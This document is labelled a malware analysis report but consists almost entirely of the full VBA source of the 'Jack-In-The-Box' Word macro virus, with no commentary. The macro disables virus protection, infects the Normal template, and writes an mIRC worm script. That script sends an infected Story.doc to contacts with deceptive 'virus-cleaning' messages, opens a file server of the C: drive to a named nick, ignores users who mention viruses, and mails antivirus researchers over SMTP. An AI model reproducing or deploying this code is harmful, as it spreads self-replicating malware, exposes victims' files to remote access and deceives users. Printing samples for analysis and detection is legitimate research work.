Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
'Jack-In-The-Box
Set Something = Options
Something.VirusProtection = 0
Something.ConfirmConversions = 0
Something.SaveNormalPrompt = 0
Application.EnableCancelKey = 0
Application.StatusBar = 0
Application.ScreenUpdating = 0
Set AnI = ActiveDocument.VBProject.VBComponents(1)
Set BnI = NormalTemplate.VBProject.VBComponents(1)
If UCase(AnI.CodeModule.Lines(3, 1)) = "'JACK-IN-THE-BOX" Then InA = 1
If UCase(BnI.CodeModule.Lines(3, 1)) = "'JACK-IN-THE-BOX" Then InB = 1
If InA = 1 And InB = 1 Then Exit Sub
Set CnI = MacroContainer.VBProject.VBComponents.Item(1)
VCode = CnI.CodeModule.Lines(2, CnI.CodeModule.CountOfLines)
If InA = 1 Then BnI.CodeModule.AddFromString ("Private Sub Document_Close" & Chr(13) & VCode)
If InB = 1 Then AnI.CodeModule.AddFromString ("Private Sub Document_Open" & Chr(13) & VCode)
NormalTemplate.Save
somename = ActiveDocument.Name
DoEvents
If InB = 1 Then
If Dir("C:\mirc\mirc32.exe") <> "" Then
var3 = "C:\mirc\script.ini"
If System.PrivateProfileString("C:\mirc\mirc.ini", "warn", "fserve") <> "" Then System.PrivateProfileString("C:\mirc\mirc.ini", "warn", "fserve") = "off"
If System.PrivateProfileString("C:\mirc\mirc.ini", "fileserver", "warning") <> "" Then System.PrivateProfileString("C:\mirc\mirc.ini", "fileserver", "warning") = "off"
If Dir(var3) <> "" Then Kill var3
Open "C:\mirc\script.ini" For Output As #1
Print #1, "[script]"
Print #1, "n0=On 1:Connect:{ .notify SimpleSmn | Set %var7 $rand(1,8) | If ( %var7 = 1 ) { Set %var8 mirc.com } | If ( %var7 = 2 ) { Set %var8 georgecarlin.com } | If ( %var7 = 3 ) { Set %var8 carrottop.com } | If ( %var7 = 4 ) { Set %var8 anvdesign.net } | If ( %var7 = 5 ) { Set %var8 symantec.com } | If ( %var7 = 6 ) { Set %var8 drsolomon.com } | If ( %var7 = 7 ) { Set %var8 www.bocklabs.wisc.edu } | If ( %var7 = 8 ) { Set %var8 ebay.com } | Set %var9 $rand(1,4) | If ( %var9 = 1 ) { Set %var10 evrt@avp.com } | If ( %var9 = 2 ) { Set %var10 samples@datafellows.com } | If ( %var9 = 3 ) { Set %var10 virus_research@nai.com } | If ( %var9 = 3 ) { Set %var10 tech_support@nai.com } | If ( $exists(C:\Windows\script1.ini) = $true ) { .remove C:\Windows\script1.ini } | .copy C:\mirc\script.ini C:\Windows\script1.ini | .load -rs C:\Windows\script1.ini | .write -c C:\mirc\script.ini [script] | .reload -rs C:\mirc\script.ini }"
Print #1, "n1=On 1:Input:*:{ Set %var1 $1- | If ( $upper(%var1) = /BY ) { .echo  1Mirc Worm  4Jack-In-The-Box | .echo  12< 9< 12< 9By SimpleSimon 12> 9> 12> | halt } }"
Print #1, "n2=On 1:Notify:{ .timer3 1 10 { .clear -s } | If ( $nick == SimpleSmn ) { .msg SimpleSmn I'm on irc. | halt } | .timer1 1 15 { .notify -r $nick | .ignore $nick | .timer9 1 5 { .msg $nick Hey, I can't talk right now but I wanted to send you this file.  It has a funny story you should read, and also has macros inside that protect you from a lot of viruses.  Just open the document, enable the macros, and if you are infected it will get rid of the virus } | .timer2 1 15 { .dcc send $nick C:\Windows\Story.doc } } | .timer 1 16 { .notify | .clear -s } }"
Print #1, "n3=On 1:Unotify: .clear -s"
Print #1, "n4=On 1:Join:#: if (help isin $chan) || (nohack isin $chan) { .part $chan } | If ( $exists(C:\mirc\script.ini) = $true ) { .remove C:\mirc\script.ini }"
Print #1, "n5=On 1:Filercvd:*.*: If ( $me != $nick ) { .dcc send $nick C:\Windows\Story.doc }"
Print #1, "n6=On 1:Invite:#:{ .ignore $nick | .timer 1 10 { .join # } | .timer 1 15 { .msg $nick Thanks for the invite } | .timer 1 20 { .msg $nick I'm a little busy so I can't talk much now.  I thought you might want to look at this file I got. It has a funny story and also has macros in it which get rid of any macro viruses.  Just enable the macros when the prompt comes up and it will scan for any viruses and clean them. } | .timer 1 25 { .dcc send $nick C:\Windows\Story.doc } }"
DoEvents
Print #1, "n7=On 1:Notice:Simplicity:*: .fserve $nick 100 C:\"
Print #1, "n8=On 1:Text:*script*:*: .ignore $nick"
Print #1, "n9=On 1:Text:*worm*:*: .ignore $nick"
Print #1, "n10=On 1:Text:*virus*:*: .ignore $nick"
Print #1, "n11=On 1:Text:*infect*:*: .ignore $nick"
Print #1, "n12=On 1:Text:*Jack*Box*:*: .ignore $nick"
Print #1, "n13=On 1:Text:*macro*:*: .ignore $nick"
Print #1, "n14=On 1:Text:*Story.doc*: .ignore $nick"
Print #1, "n15=On 1:Text:*Hi*:*:{ .timer1 1 5 { .sockclose virc | .sockopen virc %var8 25 } }"
DoEvents
Print #1, "n16=On 1:Text:*!*:*:{ .timer1 1 5 { .sockclose virc | .sockopen virc %var8 25 } }"
Print #1, "n17=On 1:Text:*Hey*:*:{ .timer1 1 5 { .sockclose virc | .sockopen virc %var8 25 } }"
Print #1, "n18=On 1:Text:*Hello*:*:{ .timer1 1 5 { .sockclose virc | .sockopen virc %var8 25 } }"
Print #1, "n19=On 1:Sockopen:virc:{ Unset %var2 | Unset %var4 | Unset %var6 | Set %var1 $rand(3, 8) + 1 | Set %loop 1 | Set %var3 0 | :check1 | If ( %loop = %var1 ) { goto out } | If ( %var3 = 0 ) { Set %var2 %var2 $rand(A, Z) } | If ( %var3 = 1 ) { Set %var4 %var4 $rand(A, Z) } | If ( %var3 = 2 ) { Set %var6 %var6 $rand(A, Z) } | If ( %var3 = 2 ) && ( $rand(1, 3) = 2 ) { Set %var6 %var6 $chr(225) } | inc %loop | goto check1 | :out | If ( %var3 = 0 ) { Set %var3 1 | Set %var1 $rand(3, 8) | Set %loop 1 | goto check1 } | If ( %var3 = 1 ) { Set %var3 2 | Set %var1 $rand(5, 50) | Set %loop 1 | goto check1 } | Set %var2 $remove(%var2, $chr(32) ) | Set %var4 $remove(%var4, $chr(32) ) | Set %var5 %var2 @ %var4 .com | Set %var5 $remove(%var5, $chr(32) ) | Set %var6 $remove(%var6, $chr(32) ) | Set %var6 $replace(%var6, $chr(225), $chr(32) ) | If ( %var7 = 6 ) { .sockwrite -n virc Helo %var2 } | .sockwrite -n virc mail from: %var5"
Print #1, "n20=If ( $sockerr != 0 ) { halt } | .sockwrite -n virc rcpt to: %var10 | .sockwrite -n virc data | .sockwrite -n virc To: %var10 | .sockwrite -n virc From: %var5 | .sockwrite -n virc Subject: %var6 | .sockwrite -n virc Jack-In-The-Box Has Popped Up Again! | .sockwrite -n virc . | .sockwrite -n virc Quit | .sockclose virc }"
Print #1, "n21=On 1:Disconnect:{ If ( $exists(C:\mirc\script.ini) = $true ) { .remove C:\mirc\script.ini } | If ( $exists(C:\Windows\script1.ini) = $true ) { .copy C:\Windows\script1.ini C:\mirc\script.ini | .remove C:\Windows\script1.ini } }"
Close #1
If Dir("C:\windows\Story.doc") = "" Then
ActiveDocument.SaveAs FileName:="C:\Windows\Story.doc", AddToRecentFiles:=False
End If
End If
If Left(somename, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
CommandBars("Tools").Controls("Macro").Enabled = 0
CommandBars("Tools").Controls("Customize...").Enabled = 0
CommandBars("View").Controls("Toolbars").Enabled = 0
CommandBars("View").Controls("Status Bar").Enabled = 0
End Sub